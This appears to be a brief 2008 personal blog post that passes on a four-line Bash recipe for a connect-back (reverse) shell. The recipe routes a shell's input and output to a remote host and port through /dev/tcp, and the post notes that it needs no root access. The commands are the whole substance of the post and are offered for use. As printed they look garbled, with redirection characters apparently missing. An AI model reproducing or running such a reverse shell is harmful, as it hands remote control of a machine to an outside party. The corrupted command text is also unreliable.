April 17th, 2008

Connect-back shell in four lines

From this blog post, you can create a connect-back shell with four BASH commands:

$ exec 0/tcp/hostname/port # First we copy our connection over stdin
$ exec 1>&0 # Next we copy stdin to stdout
$ exec 2>&0 # And finally stdin to stderr
$ exec /bin/sh 0/tcp/hostname/port 1>&0 2>&0
Oh, and you can do that without root/wheel access.
Loading tweets...

@jth

Liked

I am John T. Hoffoss. All opinions are my own. If you don't like them, let's disagree.